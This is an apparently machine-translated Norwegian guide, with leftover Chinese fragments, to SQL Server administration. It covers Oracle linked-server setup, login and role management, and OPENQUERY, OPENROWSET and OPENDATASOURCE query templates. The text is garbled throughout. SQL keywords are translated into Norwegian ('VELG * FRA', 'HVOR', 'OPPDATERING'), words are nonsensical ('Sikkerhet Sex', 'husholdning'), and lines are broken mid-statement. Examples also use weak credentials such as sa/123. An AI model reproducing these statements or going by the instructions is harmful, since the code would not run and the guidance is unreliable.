(ADDRESS_LIST =
(ADRESSE = (PROTOKOLL = TCP)(VERT = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = ork)
)
)
3) Kjør følgende kommando i DOS-modus for å bekrefte at ORACLE-klienten er installert korrekt.
sqlplus bruker/password@ORCL
4) Åpne Start - Kontrollpanel - Tjenester og bekreft at tjenesten Distributed Transaction Coordinator er startet.
5) Åpne SQL SERVER Management Studio, instansnavn (ORCL) - Serverobjekt (høyreklikk) - Ny tilkoblingsserver.
1.
Link-server: Skriv navnet på den lenkede serveren, for eksempel OracleTest.
2. Servertype, velg en annen datakilde
3. Tilgangsgrensesnitt: Velg Oracle Provider for OLE DB
4. Produktnavn: Write Oracle
5. Datakilde: Skriv opp
Tjenestenavnet er konfigurert i tnsnames.ora-filen, for eksempel ORCL
6. Tilgangsgrensesnittstreng: userid=sys som sysdba; passord=passord
7. På siden Velg sikkerhetsalternativer bruker du denne installasjonskonteksten for å etablere en tilkobling:
a) Fjerninnlogging: bruker (annen bruker, ikke sys)
b)
Bruk passord: passord
8. Sett "NT AUTHORITY\SYSTEM" på lokal pålogging, fjernbrukersystem, og sett passordet
9.
Er du sikker
6) Det finnes to måter å skrive SQL på
a) Bruk av T-SQL-syntaks:
VELG * FRA
OraTest.ERP.BAS_ITEM_CLASS
Merk at når du legger inn SQL-setninger i SQL Query Analyzer, bør du være oppmerksom på kinesisk fullbredde- og halvbredde-switching
Vei!
b) Bruk PLSQL-syntaks: VELG * FRA openquery(OraTest,'VELG * FRA
OraTest.ERP.BAS_ITEM_CLASS ')
c) Den andre tilgangsmetoden er omtrent 50 % raskere enn den første; Den andre tilgangsmetoden er direkte koblet sammen
ORACLE er sammenlignbar; Den første tilgangsmetoden kan føre til noen uventede feil, som for eksempel: Tabellen eksisterer ikke, eller den nåværende brukeren
Det er ingen tilgang til bordet, og så videre.
d) Hvis kolonnen som må aksesseres bruker datatyper uten presisjon, vil begge disse
Dette er en feil i ORACLE som ikke kan fikses, og som kun kan unngås ved spesiell håndtering av spørringssetninger:
Metadataene som leveres av OLE DB-leverandøren 'OraOLEDB.Oracle' for kolonnene er inkonsistente. Metadatainformasjon endres ved utførelse.
mssql lagt til
Slett brukeren og gi tillatelser
Bruk biblioteknavnet ditt Gå --Legg til brukere Leder sp_addlogin 'test' – legg til innlogging Administrerende direktør
sp_grantdbaccess N'test' – å gjøre den til en legitim bruker av den nåværende databasen leder sp_addrolemember N'db_owner',
N'test' – gir alle tillatelser til sin egen database --Dette skaper brukere som kun kan få tilgang til sin egen database og det som er inkludert i databasen
offentlig tabell for gjestebrukere Gå --Fjern testbruker exec sp_revokedbaccess N'test' – Fjern tilgangen til databasen
Grense exec sp_droplogin N'test' – slett innlogging Hvis du oppretter det i Enterprise Manager, bruk: Enterprise Manager - Sikkerhet
Sex --Høyreklikk Innlogg--Ny innlogging Generelle artikler --Skriv inn brukernavnet i navnet
--Autentiseringsmetoden velges etter dine behov (hvis du bruker Windows-autentisering, må du først opprette en ny bruker blant brukerne av operativsystemet)
--I standardinnstillingene, velg databasenavnet du ønsker å få tilgang til for den nye brukeren Serverrolle-elementet Ikke velg noe i dette database
Tilgangsobjekt Sjekk navnet på databasen du ønsker å få tilgang til for brukeren du oppretter Tillat i databaserollen, kryss av for "offentlig", "db_ownew" Selvfølgelig, dette
Brukeren som opprettes av eksempelet er den samme som brukeren som ble opprettet av setningen ovenfor
Det siste steget er å sette spesifikke tilgangstillatelser for spesifikke brukere, som kan refereres til følgende minimale eksempel:
--Legg til brukere som kun har tilgang til den angitte tabellen: exec sp_addlogin 'brukernavn', 'passord', 'standard databasenavn'
--legg til i databasen exec sp_grantdbaccess 'brukernavn'
--Tildel hele tabell-tillatelser GI VELG , SETT INN, OPPDATER , SLETT på tabell1 TIL [brukernavn] --Tildel tillatelser til spesifikke kolonner GRANT SELECT, OPPDATER I tabell1(id,AA) TIL [brukernavn]
For spesifikke sikkerhetsinnstillinger og teoretisk kunnskap, vennligst se SQL Online Help
Beskrivelse av fast databaserolle db_owner Ha full tillatelse i databasen.
db_accessadmin Du kan legge til eller fjerne bruker-IDer.
db_securityadmin Kan administrere fulle tillatelser, objekteierskap, roller og rollemedlemskap.
db_ddladmin kan utstede ALLE DDL-uttalelser, men ikke GRANT, REVOKE eller AVSLÅ.
db_backupoperator kan utstede DBCC-, CHECKPOINT- og BACKUP-setninger.
db_datareader Du kan velge all data fra hvilken som helst brukertabell i databasen.
db_datawriter Du kan endre all data i hvilken som helst brukertabell i databasen.
db_denydatareader Du kan ikke velge noen data fra noen brukertabell i databasen.
db_denydatawriter Du kan ikke endre noen data i noen brukertabell i databasen.
Du bør velge db_datareader, db_datawriter, db_accessadmin
5. Etter at SQL Server-instansen er startet i enkeltbrukermodus, kan Windows-administratorkontoen bruke sqlcmd-verktøyet for å koble til i Windows-autentiseringsmodus
SQL Server。 Du kan bruke T-SQL-kommandoer som "sp_addsrvrolemember" for å legge til en eksisterende pålogging til sysadmin-serverrollen
Eller opprett en ny innloggingskonto. Et eksempel på en uttalelse er som følger:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
GÅ
Legg til en sysadmin-rettighet
(1) Administrer serverroller
I SQL Server finnes det to hovedlagrede prosedyrer som implementerer SQL Server-rollehåndtering:
sp_addsrvrolemember
og sp_dropsrvrolemember
sp_addsrvrolemember Du kan legge til en innloggingskonto i en serverrolle for å gjøre den til medlem av den serverrollen. Syntaksen er som følger: sp_addsrvrolemember
Logg inn, rolle
sp_dropsrvrolemember Du kan slette en innloggingskonto fra en serverrolle, og når medlemmet fjernes fra serverrollen, har den ikke lenger den serverrollen
Tillatelsene satt. Syntaksen er som følger: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'rolle'
Dertil
@loginname er navnet på den innloggede brukeren; @rolename er en serverrolle.
(2) Administrere databaseroller
I SQL Server støttes databaseadministrasjon
Det finnes seks hovedtyper lagrede prosedyrer, og deres spesifikke betydninger og syntaks er som følger:
sp_addrole: Brukes til å opprette en ny databaserolle; sp_addrole
rolle, eier
sp_droprole: Brukes til å fjerne en databaserolle fra den nåværende databaserollen; sp_droprole rolle
sp_helprole:
Den brukes til å vise all informasjon om alle databaseroller i den nåværende databasen; sp_helprole ['rolle']
sp_addrolemember: Brukes til å sende til databasen
Legg til databasebrukere i en rolle, som kan være brukerdefinerte standardroller eller faste databaseroller, men som ikke kan være det
Søknadsroller. sp_addrolemember rolle, security_account
sp_droprolemember: Ble brukt til å slette en bestemt karakter
husholdning; sp_droprolemember rolle, security_account
sp_helprolemember: Brukes til å vise alle medlemmer av en databaserolle
。 sp_helprolemember ['rolle']
MSSQL LINKSERVER-spørring
---------------------------------------------------------------------------------- -- Forfatter:
htl258(Tony) -- Dato: 2010-06-25 22:23:18 -- Versjon: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9. juli 2008 14:43:34 -- Opphavsrett (c) 1988-2008 Microsoft Corporation --
Utviklerutgave på Windows NT 5.1 (Build 2600: Service Pack 2) -- Blogg : -- Emne: SQL-dataoperasjoner mellom ulike serverdatabaser ---------------------------------------------------------------------------------- --1. Lag en linkserver --1.1 Opprett et lenkenavn EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', navnet på den eksterne serveren
eller IP-adresse' -- Hvis du har et egendefinert instansnavn, legg til "\instansnavn"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Opprett en innlogging (eller lag et link-server-innloggingskart) (velg bare én måte) --1.2.1 Logg inn med Windows-autentisering EXEC sp_addlinkedsrvlogin 'LinkName' --eller EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Logg inn med SQL-autentisering EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Brukernavn', 'Passord'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false', null,'sa','123' */ --2. Link-server-relaterte dataoperasjoner --2.1 Spørringseksempel VELG * FRA LinkName.database name.schema name.table name
/*例如:SELECT *
FRA TonyLink.Mydb.dbo.tb */ -- 2.2 Importeksempel VELG * INN i tabellnavn FRA LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
FRA TonyLink.Mydb.dbo.tb */ -- 2.3 Oppdateringseksempel OPPDATERING LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Persons='g' HVOR Persons='a' */ -- 2.4 Slett-eksempler DELETE LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb HVOR Persons='g' */ --3 via radsett-funksjonen (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Metode
- 3.1 OPENQUERY-metoden (krever hjelp fra link-serveren du nettopp har opprettet): -- 3.1.1 Spørringseksempel VELG * FRA OPENQUERY(LinkName, 'VELG * FRA databasenavn. Arkitekturens navn. bordnavn')
/* For eksempel: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Importeksempler --3.1.2.1 Importer alle kolonner INSERT OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitekturens navn. Tabellnavn
') VELG * FRA lokal tabell
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
FRA TB */ --3.1.2.2 Importer de spesifiserte kolonnene INSERT OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitekturens navn. tabellnavn') (kolonne, kolonne...) SELECT-kolonnen,
Kolonne... FRA lokal tabell
/* For eksempel: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) VELGE
OMRÅDE, NIVÅ, Personer FRA TB */ --3.1.3 Oppdateringseksempler UPDATE OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitekturens navn. tabellnavn') SET-feltet = 'verdi' HVOR ordet
Segment = 'Tilstand'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Persons='a' */ --3.1.4 Slett eksempler DELETE OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitekturens navn. tabellnavn') HVOR feltnavn='betingelse'
/*例
For eksempel: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') HVOR Persons='g' */ --3.2 OPENROWSET-metoden (du trenger ikke bruke navnet på den opprettede lenken.) Hvis det tilkoblede instansnavnet ikke er standard, må du sette det i SQL Server-navn eller IP-adresse.
"\instansnavn") --3.2.1 Spørringseksempel --3.2.1.1 Windows-autentiseringsmetodespørring (en av følgende metoder er tilstrekkelig) VELG * FRA OPENROWSET('SQLOLEDB', 'server=sql servernavn eller
IP-adresse; Trusted_Connection=ja', databasenavn. Arkitekturens navn. Bordnavn) VELG * FRA OPENROWSET('SQLNCLI',
'server=sql servernavn eller IP-adresse; Trusted_Connection=ja', databasenavn. Arkitekturens navn. Bordnavn) VELG * FRA
OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; Trusted_Connection=ja','VELG * FRA databasen
Navn. Arkitekturens navn. bordnavn') VELG * FRA OPENROWSET('SQLNCLI', 'server=sql servernavn eller IP-adresse
Adresse; Trusted_Connection=ja','VELG * FRA databasenavn. Arkitekturens navn. bordnavn')
/* For eksempel: VELG * FRA OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)
Eller: VELG * FRA OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)
Eller: VELG * FRA OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja','VELG *
FRA Mydb.dbo.tb')
Eller: VELG * FRA OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja','VELG *
FRA Mydb.dbo.tb') */ --3.2.1.2 SQL-autentiseringsmetodespørring (En av følgende metoder er tilstrekkelig) VELG * FRA OPENROWSET
('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord', databasenavn. Arkitekturens navn. Bordnavn) VELG * FRA
OPENROWSET('SQLNCLI', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord', databasenavn. Arkitekturens navn. Bordnavn) VELG * FRA OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord','VELG *
FROM databasenavn. Arkitekturens navn. bordnavn') VELG * FRA OPENROWSET('SQLNCLI', 'server=sql servernavn eller IP-adresse; uid=
Brukernavn; pwd=passord','VELG * FRA databasenavn. Arkitekturens navn. bordnavn') VELG * FRA OPENROWSET('SQLOLEDB', 'sql
servernavn'; 'brukernavn'; 'passord', databasenavn. Arkitekturens navn. Bordnavn) VELG * FRA OPENROWSET('SQLNCLI', 'SQL SERVER NAME'
'; 'brukernavn'; 'passord', databasenavn. Arkitekturens navn. Bordnavn) VELG * FRA OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' bruker
navn'; 'Passord', 'VELG * FRA databasenavn. Arkitekturens navn. bordnavn') VELG * FRA OPENROWSET('SQLNCLI', 'sql server)
navn'; 'brukernavn'; 'Passord', 'VELG * FRA databasenavn. Arkitekturens navn. bordnavn')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Eller: VELG * FRA OPENROWSET
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Eller: VELG * FRA OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','VELG * FRA Mydb.dbo.tb')
eller: VELG * FRA OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','VELG * FRA
Mydb.dbo.tb')
eller: VELG * FRA OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
eller: VELG * FRA OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
eller: VELG * FRA OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','VELG * FRA Mydb.dbo.tb')
eller: VELG * FRA OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','VELG * FRA Mydb.dbo.tb') */ --3.2.2 Importeksempel --3.2.2.1 Importer alle kolonner INSERT OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse
Adresse; uid=brukernavn; pwd=passord', databasenavn. Arkitekturens navn. Bordnavn) VELG * FRA lokal tabell
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) VELG * FRA TB */ --3.2.2.2 Import
Spesifiser kolonner INSERT OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord', databasenavn. Rack
Konstruksjonsnavn. tabellnavn) (kolonne, kolonne...) VELG kolonne, kolonne... FRA lokal tabell
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(AVSTAND,NIVÅ,Personer) VELGE
OMRÅDE, NIVÅ, Personer FRA TB */ --Merk: For flere alternative metoder, se .2.1-spørringseksempelet, bare erstatt OPENROWSET-funksjonen
Innholdet er tilstrekkelig. --3.2.3 Oppdateringseksempel OPPDATER OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn
;p wd=passord', databasenavn. Arkitekturens navn. Bordnavn) SET-felt = 'verdi' HVOR felt = 'betingelse'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Persons='g' HVOR Persons='a' */ --Merk: For flere alternative metoder, se .2.1-spørringseksempelet, bare erstatt innholdet i OPENROWSET. --3.2.4 Slett indikasjonen
Eksempel SLETT OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord', databasenavn. Skjemanavn
.tabellnavn) WHERE feltnavn='betingelse'
/* For eksempel: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) HVOR
Persons='g' */ --Merk: For flere alternative metoder, se .2.1-spørringseksempelet, bare erstatt innholdet i OPENROWSET. --3.3 OPENDATASOURCE-metoden
(Du trenger ikke bruke navnet på den opprettede lenken.) Hvis instansnavnet på tilkoblingen ikke er standard, må du legge til \instansnavn etter sql-serverens navn eller IP-adresse
") --3.3.1 Spørringseksempel --3.3.1.1 Windows autentiseringsmetode spørring (En av følgende metoder er tilstrekkelig) VELG * FRA OPENDATASOURCE('SQLOLEDB',
'server=sql servernavn eller IP-adresse; Trusted_Connection=ja'). Databasenavn. Arkitekturens navn. Tabellnavn VELG * FRA
OPENDATASOURCE('SQLNCLI', 'server=sql servernavn eller IP-adresse; Trusted_Connection=ja'). Databasenavn. Arkitekturens navn.
Tabellnavn
/* For eksempel: VELG * FRA OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb
Eller: VELG * FRA OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb */ --3.3.1.2 SQL-autentiseringsmetodespørring (en av følgende metoder er tilstrekkelig) VELG * FRA OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller
IP-adresse; uid=brukernavn; pwd=passord'). Databasenavn. Arkitekturens navn. Tabellnavn VELG * FRA OPENDATASOURCE('SQLNCLI', 'server=sql servernavn eller IP-adresse; uid=bruker
Navn; pwd=passord'). Databasenavn. Arkitekturens navn. Tabellnavn VELG * FRA OPENDATASOURCE('SQLOLEDB', 'Data Source=sql servernavn eller IP-adresse
Adresse; uid=brukernavn; pwd=passord'). Databasenavn. Arkitekturens navn. Tabellnavn VELG * FRA OPENDATASOURCE('SQLNCLI', 'Data Source=sql servernavn eller IP-adresse
Adresse; uid=brukernavn; pwd=passord'). Databasenavn. Arkitekturens navn. Tabellnavn
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Eller: VELG * FRA OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Eller: VELG * FRA OPENDATASOURCE('SQLOLEDB','Data
Kilde=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Eller: VELG * FRA OPENDATASOURCE('SQLNCLI','Data
kilde=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Importer alle kolonner SETT INN OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord').
Ifølge navnet på biblioteket. Arkitekturens navn. Tabellnavn VELG * FRA lokal tabell
/* For eksempel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb VELGE
* FRA TBB */ --3.3.2.2 Importer de spesifiserte kolonnene SETT INN OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord').
Ifølge navnet på biblioteket. Arkitekturens navn. Tabellnavn (kolonne, kolonne...) VELG kolonne, kolonne... FRA lokal tabell
/* For eksempel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(AVSTAND, NIVÅ, Personer) VELG OMRÅDE, NIVÅ, Personer FRA TB */ --Merk: For flere alternative metoder, se .3.1-spørringseksempelet, bare erstatt innholdet i linjesettsfunksjonen (OPENDATASOURCE). --3.3.3 Oppdateringseksempel OPPDATER OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord'). Databasenavn. Arkitekturens navn. Tabellnavn SET-felt = 'verdi' HVOR felt = 'betingelse'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Persons='g' HVOR Persons='a' */ --Merk: For flere alternative metoder, se .3.1-spørringseksempelet, bare erstatt innholdet i linjesettsfunksjonen (OPENDATASOURCE). --3.3.4 Slett-eksempel DELETE OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord'). Databasenavn. Arkitekturens navn. Tabellnavn WHERE feltnavn='betingelse'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb HVOR Persons='g' */ - Merk: Flere alternativer
Se eksempelet med .3.1-spørringen, bare erstatt innholdet i radsettfunksjonen (OPENDATASOURCE). -- Slett den lenkede servermetoden --Hvis du ikke lenger bruker lenkeinformasjonen i fremtiden, kan du slette lenkeinformasjonen --4.1 Slett innloggingsinformasjon (eller slett tilkoblet server-innloggingsnavnekart) EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/* For eksempel: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Slett det lenkede servernavnet EXEC sp_dropserver 'LinkName', 'droplogins' – hvis droplogins er spesifisert, Innloggingskartet må slettes før den tilknyttede serveren slettes
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Vedlagt
: Hvordan få leverandørnavnet (EXEC-master). xp_enum_oledb_providers) VELG ROLLEBESETNING([Leverandørnavn] SOM
VARCHAR(30)) ProviderName, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion FRA
OPENROWSET( 'SQLOLEDB', 'Server=.; Trusted_Connection=ja', 'SETT FMTONLY I GANG; EXEC
Mester.. xp_enum_oledb_providers'
)
|